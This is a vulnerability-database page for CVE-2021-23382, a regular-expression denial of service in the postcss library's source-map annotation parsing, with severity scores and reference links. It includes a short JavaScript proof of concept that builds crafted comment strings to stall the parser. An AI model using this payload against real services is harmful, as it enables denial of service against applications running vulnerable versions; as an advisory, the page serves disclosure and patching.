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Vulnerability details: VCID-scy5-ccf9-dygp
Vulnerability ID VCID-scy5-ccf9-dygp
Aliases CVE-2021-23382
GHSA-566m-qj78-rww5
Summary Regular Expression Denial of Service in postcss The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern ```regex \/\*\s* sourceMappingURL=(.*) ``` ### PoC ```js var postcss = require("postcss") function build_attack(n) { var ret = "a{}" for (var i = 0; i < n; i++) { ret += "/*# sourceMappingURL=" } return ret + "!"; } ``` ```js postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) { if (i % 1000 == 0) { var time = Date.now(); var attack_str = build_attack(i) try { postcss.parse(attack_str) var time_cost = Date.now() - time; console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms"); } catch (e) { var time_cost = Date.now() - time; console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms"); } } } ```
Status Published
Exploitability 0.5
Weighted Severity 6.2
Risk 3.1
Affected and Fixed Packages Package Details
Weaknesses (4)
System Score Found at
cvssv3 5.3 https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2021-23382.json
epss 0.00071 https://api.first.org/data/v1/epss?cve=CVE-2021-23382
epss 0.00071 https://api.first.org/data/v1/epss?cve=CVE-2021-23382
epss 0.00071 https://api.first.org/data/v1/epss?cve=CVE-2021-23382
epss 0.00071 https://api.first.org/data/v1/epss?cve=CVE-2021-23382
epss 0.00071 https://api.first.org/data/v1/epss?cve=CVE-2021-23382
epss 0.00071 https://api.first.org/data/v1/epss?cve=CVE-2021-23382
epss 0.00071 https://api.first.org/data/v1/epss?cve=CVE-2021-23382
epss 0.00071 https://api.first.org/data/v1/epss?cve=CVE-2021-23382
epss 0.00071 https://api.first.org/data/v1/epss?cve=CVE-2021-23382
epss 0.00071 https://api.first.org/data/v1/epss?cve=CVE-2021-23382
epss 0.00071 https://api.first.org/data/v1/epss?cve=CVE-2021-23382
epss 0.00071 https://api.first.org/data/v1/epss?cve=CVE-2021-23382
epss 0.00071 https://api.first.org/data/v1/epss?cve=CVE-2021-23382
epss 0.00071 https://api.first.org/data/v1/epss?cve=CVE-2021-23382
epss 0.00071 https://api.first.org/data/v1/epss?cve=CVE-2021-23382
epss 0.00071 https://api.first.org/data/v1/epss?cve=CVE-2021-23382
cvssv3.1_qr MODERATE https://github.com/advisories/GHSA-566m-qj78-rww5
cvssv3.1 5.3 https://github.com/postcss/postcss/commit/2b1d04c867995e55124e0a165b7c6622c1735956
generic_textual MODERATE https://github.com/postcss/postcss/commit/2b1d04c867995e55124e0a165b7c6622c1735956
cvssv3.1 5.3 https://github.com/postcss/postcss/releases/tag/7.0.36
generic_textual MODERATE https://github.com/postcss/postcss/releases/tag/7.0.36
cvssv3.1 5.3 https://nvd.nist.gov/vuln/detail/CVE-2021-23382
generic_textual MODERATE https://nvd.nist.gov/vuln/detail/CVE-2021-23382
cvssv3.1 5.3 https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1255641
generic_textual MODERATE https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1255641
cvssv3.1 5.3 https://snyk.io/vuln/SNYK-JS-POSTCSS-1255640
generic_textual MODERATE https://snyk.io/vuln/SNYK-JS-POSTCSS-1255640
No exploits are available.
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L Found at https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2021-23382.json
Attack Vector (AV) Attack Complexity (AC) Privileges Required (PR) User Interaction (UI) Scope (S) Confidentiality Impact (C) Integrity Impact (I) Availability Impact (A)

network

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local

physical

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Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L Found at https://github.com/postcss/postcss/commit/2b1d04c867995e55124e0a165b7c6622c1735956
Attack Vector (AV) Attack Complexity (AC) Privileges Required (PR) User Interaction (UI) Scope (S) Confidentiality Impact (C) Integrity Impact (I) Availability Impact (A)

network

adjacent_network

local

physical

low

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Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L Found at https://github.com/postcss/postcss/releases/tag/7.0.36
Attack Vector (AV) Attack Complexity (AC) Privileges Required (PR) User Interaction (UI) Scope (S) Confidentiality Impact (C) Integrity Impact (I) Availability Impact (A)

network

adjacent_network

local

physical

low

high

none

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required

unchanged

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Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L Found at https://nvd.nist.gov/vuln/detail/CVE-2021-23382
Attack Vector (AV) Attack Complexity (AC) Privileges Required (PR) User Interaction (UI) Scope (S) Confidentiality Impact (C) Integrity Impact (I) Availability Impact (A)

network

adjacent_network

local

physical

low

high

none

low

high

none

required

unchanged

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high

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none

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Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L Found at https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1255641
Attack Vector (AV) Attack Complexity (AC) Privileges Required (PR) User Interaction (UI) Scope (S) Confidentiality Impact (C) Integrity Impact (I) Availability Impact (A)

network

adjacent_network

local

physical

low

high

none

low

high

none

required

unchanged

changed

high

low

none

high

low

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Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L Found at https://snyk.io/vuln/SNYK-JS-POSTCSS-1255640
Attack Vector (AV) Attack Complexity (AC) Privileges Required (PR) User Interaction (UI) Scope (S) Confidentiality Impact (C) Integrity Impact (I) Availability Impact (A)

network

adjacent_network

local

physical

low

high

none

low

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none

required

unchanged

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Exploit Prediction Scoring System (EPSS)
Percentile 0.21632
EPSS Score 0.00071
Published At April 1, 2026, 12:55 p.m.
Date Actor Action Source VulnerableCode Version
2026-04-01T13:05:47.069251+00:00 GithubOSV Importer Import https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2022/01/GHSA-566m-qj78-rww5/GHSA-566m-qj78-rww5.json 38.0.0